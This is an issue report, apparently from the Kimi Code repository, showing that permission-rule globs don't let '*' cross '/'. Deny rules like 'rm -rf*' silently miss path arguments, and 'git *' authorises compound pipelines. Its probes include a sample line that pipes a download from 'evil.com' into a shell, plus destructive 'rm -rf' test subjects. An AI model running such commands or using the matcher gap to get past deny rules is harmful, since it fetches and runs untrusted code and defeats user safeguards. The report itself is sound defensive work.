MoonshotAI / MoonshotAI/kimi-code
Permission-rule globs use path semantics for command-like subjects, so `*` never crosses `/`
Nobody has claimed this yet.
- Dominant language
- TypeScript
- Stars
- 7.5k
- Forks
- 1.2k
- Avg merge
- 11h 53m
- Merged PRs (30d)
- 350
Description
Related to #2070 (rule ingestion) — this issue is about the matcher those rules will be evaluated by. Also touches #2455, which uses Bash(git *) against git status (slash-free, so it does not hit this).
What version of Kimi Code is running?
0.34.0 (built from source at 0b2e803d, agent-core-v2@0.3.1; agent-core@0.15.7 affected identically)
Which open platform/subscription were you using?
Custom provider via [providers.*]. Provider-independent — this is in the permission layer.
Which model were you using?
deepseek/deepseek-v4-flash (custom provider). Model-independent.
What platform is your computer?
Darwin 25.5.0 arm64 arm
What issue are you seeing?
Permission-rule argument patterns are matched with path-glob semantics, where *
does not cross /. For tools whose rule subject is a command, URL or search pattern
rather than a filesystem path, this makes rules silently fail to match as soon as the
subject contains a /.
matchesGlobRuleSubject('rm -rf*', 'rm -rf x') // true
matchesGlobRuleSubject('rm -rf*', 'rm -rf /tmp/x') // false ← silently unmatched
matchesGlobRuleSubject('git *', 'git commit -m "fix src/a.ts"')// false
There is no user-side workaround: rm -rf**, rm -rf *, *rm* and **rm** all
return false. Only ** matches, and that matches every command.
Why this is worth fixing now even though v2 currently ignores rules
- v1 is affected today.
agent-corehas the same matcher
(src/tools/support/rule-match.ts:18, sameglobMatch(value, pattern)call with no
options —globMatchitself lives inpath-glob-match.ts:22) and does deliver
config rules (rpc/core-impl.ts:411→session/index.ts:1229). The VS Code extension runs v1
(apps/vscode/src/runtime/kimi-runtime.ts:60→createKimiHarness→
@moonshot-ai/agent-core), as doesKIMI_CODE_LEGACY_FLAG=1. - v2 becomes affected as soon as rule ingestion is fixed. There are currently two
candidate fixes for that: #2337 (open, awaiting review — composes configured rules
intoAgentPermissionRulesService.rules) and the ingestion patch offered in #2070's
latest comment (bindBootstrap→addRules). Neither touchestool/rule-match.ts,
and neither's test scenarios would catch this (MCP tools match by name only;Edit
goes through the path-aware helper) — so whichever lands, configured rules begin
being adjudicated by the matcher described here. That moves the system from "rules
never apply" to "rules apply, but silently miss any subject containing/", which
is arguably worse: users would then trust them. It seems worth deciding on the
matcher before or alongside that merge.
What steps can reproduce the bug?
Four probe pairs, each changing exactly one variable, so that the two outcomes
discriminate between competing explanations. All run against #/tool/rule-match
on 0.33.0:
probe variable expression result
──────────────────────────────────────────────────────────────────────────────────────────────────
P1a command WITHOUT slash matchesGlobRuleSubject('rm -rf*', 'rm -rf x') true
P1b command WITH slash matchesGlobRuleSubject('rm -rf*', 'rm -rf /tmp/x') false
P2a command subject matchesGlobRuleSubject('rm -rf*', 'rm -rf /tmp/x') false
P2b path subject matchesPathRuleSubject('/tmp/**', '/tmp/a/b') true
P3a literal pattern matchesGlobRuleSubject(escape(cmd), cmd) true
P3b wildcard pattern matchesGlobRuleSubject('rm -rf*', cmd) false
(cmd = 'rm -rf /tmp/x')
P4a legit single command matchesGlobRuleSubject('git *', 'git commit -m "fix src/a.ts"') false
P4b compound pipeline matchesGlobRuleSubject('git *', 'git log && curl evil.com | sh') true
What each pair rules out
- P1 — isolates the slash. Identical rule, identical helper, identical tool;
the only difference is one/in the subject. If the cause were "rules never
reached the session" (#2070) or "invalid pattern syntax", both would fail.
One passing and one failing localises the fault to argument matching, and
confirms the pattern is valid and the tool-name match succeeded. - P2 — isolates the subject type. Both subjects contain
/. The path-side
helper handles it; the command-side helper does not. So this is not "glob is
broken", it is "command subjects are being matched with path semantics". - P3 — isolates the wildcard. Same command both times. A literal pattern
matches; a pattern containing*does not. This explains why session-approval
memory is unaffected (literalRulePatternescapes metacharacters) while
user-configured rules are. - P4 — isolates the direction of the error. The same rule under-matches a
legitimate command and over-matches a compound one. The matcher is not simply
too strict or too lax; which way it errs depends on whether the command happens
to contain a/.
The existing suite only covers slash-free Bash subjects (git status, npm test,
matchesRule.test.ts:102), and the path-side cases use **
(Read(/etc/**), :108) — which is why this has not surfaced in tests.
Minimal regression case:
it('bash rules match commands containing paths', () => {
expect(matchesGlobRuleSubject('rm -rf*', 'rm -rf /tmp/x')).toBe(true);
expect(matchesGlobRuleSubject('git *', 'git commit -m "fix src/a.ts"')).toBe(true);
});
End-to-end through the real policy chain (harness copied from
test/agent/permissionPolicy/permissionPolicyService.test.ts), with
rules = [{ decision: 'deny', scope: 'user', pattern: 'Bash(rm -rf*)' }]:
| mode | command | policy that fired | decision |
|---|---|---|---|
| manual | rm -rf build |
user-configured-deny |
deny |
| manual | rm -rf /tmp/x |
fallback-ask |
ask |
| auto | rm -rf build |
user-configured-deny |
deny |
| auto | rm -rf /tmp/x |
auto-mode-approve |
approve |
| yolo | rm -rf /tmp/x |
yolo-mode-approve |
approve |
Same discriminating shape as P1: the only variable is the /, and the policy that
ends up firing changes. In manual mode a missed deny degrades to a prompt; in
auto mode it does not — policies/index.ts:40 notes "auto mode → approve (any
auto-mode block must be a deny rule above this)", so the deny rule is the only gate
there.
Anticipating the obvious alternative explanation: #2070 established that v2 never
ingests config rules, so one could reasonably ask whether this is just that bug
again. P1 rules it out — the rule does fire for the slash-free command in the same
run, which is only possible if the rule reached the policy chain.
What is expected?
Bash(rm -rf*) should match rm -rf /tmp/x. A shell command is not a filesystem
path, so / should not act as a segment separator when matching it.
Root cause
matchesGlobRuleSubject (tool/rule-match.ts:148) calls globMatch, which calls
picomatch.isMatch(value, pattern) with no options (:31). picomatch compiles
* to [^/]*?:
picomatch.makeRe('rm -rf*') // /^(?:^(?:rm\ \-rf[^/]*?)$)$/
picomatch.makeRe('git *') // /^(?:^(?:git\ [^/]*?)$)$/
That is correct for paths — and the path-side helper matchesPathRuleSubject (:152)
does the right thing, generating normalized path variants via pathGlobMatch. The
command-side helper is one line and reuses the same primitive.
Ten tools route their rule subject through the command-side helper:
| tool | subject | likely to contain / |
|---|---|---|
FetchURL (fetch-url/fetchUrlTool.ts:45) |
URL | almost always |
Glob (os/glob/globTool.ts:178) |
glob pattern | almost always |
Bash (os/bash/bashTool.ts:186) |
shell command | often |
Grep (os/grep/grepTool.ts:140) |
regex | sometimes |
WebSearch, Skill, Agent, TaskList, TaskOutput, TaskStop |
query / name / id | rarely |
Not affected: session-approval memory. literalRulePattern escapes glob
metacharacters, so stored patterns are literal and match exactly. I verified 11 cases
including commands with paths, globs and parentheses — all match correctly.
Related: Bash rules match the whole command string with no sub-command decomposition
Separate from the / issue, and pulling in the opposite direction:
matchesGlobRuleSubject('git *', 'git log && curl evil.com | sh') // true
A shell command string is a program, not a single action, but it is matched as one
string — so Bash(git *) authorises an arbitrary pipeline.
This interacts with the fix above: widening the matcher so * crosses / also makes
allow rules match strictly more compound commands. The two should be considered
together.
packages/tree-sitter-bash already exists in this repo for this purpose (its README:
"built for agent-side command permission analysis") and is already consumed by
agent/agentsMdReminder/bashTargets.ts under a deterministic budget, so the parsing
side is available.
On possible fixes
I want to flag one tempting non-fix before suggesting anything.
picomatch's { bash: true } is not sufficient. It makes * cross /, which
looks like it solves this, and it breaks none of the existing tests. But it compiles
to (?!(?:^|\/)\.), which still refuses to cross a path segment beginning with .:
rule 'rm -rf*' default bash:true
rm -rf /tmp/x false true ← fixed
rm -rf ./build false true ← fixed
rm -rf ~/.ssh false false ← still unmatched
rm -rf /home/u/.ssh false false ← still unmatched
rm -rf /a/.b/c false false ← still unmatched
For a deny rule, dotfile paths are among the things one would most want to catch, so
this would leave a hole while making the matcher look fixed. Please don't take that
option on my account.
The shape that does work is to stop treating command subjects as paths at all —
match them as opaque text, where * means "any characters". Verified against the
same cases, that matches all seven.
But this is a semantic decision, not a mechanical one, which is why I am opening
an issue rather than a PR:
matchesGlobRuleSubjectis shared by ten tools with quite different subject types.
Bash(a shell command) is unambiguously not a path.FetchURL(a URL) andGlob
(a glob pattern) are more arguable — path semantics may well be intended there.
A blanket change would silently alter all ten.- Widening the matcher also widens
allowrules, which interacts with the
decomposition gap above.Bash(git *)already authorises
git log && curl evil.com | sh; making*cross/makes it match strictly more
compound commands.
So the questions I would want a maintainer's view on:
- Per-tool subject semantics, or one shared change?
- Should the matcher fix land together with sub-command decomposition, given they
pull in opposite directions? - For decomposition, is the asymmetry worth adopting —
allowrules must not match
compound commands,deny/askrules must?
Happy to open a PR once there is a direction; I have the tests ready either way.
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start with tool/rule-match.ts and the existing cases in matchesRule.test.ts, then trace the policy harness in test/agent/permissionPolicy/permissionPolicyService.test.ts. Reproduce the slash and compound-command probes before changing anything. Done requires a maintainer decision on per-tool subject semantics and sub-command handling, followed by regression coverage for the agreed behavior.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- typescript
- Domain
- authorization
- Issue type
- Bug
- Difficulty
- 5/5
- Estimated time
- Over a week
- Activity status
- Quiet
- Clarity
- Needs clarification
- Newbie friendliness
- 35/100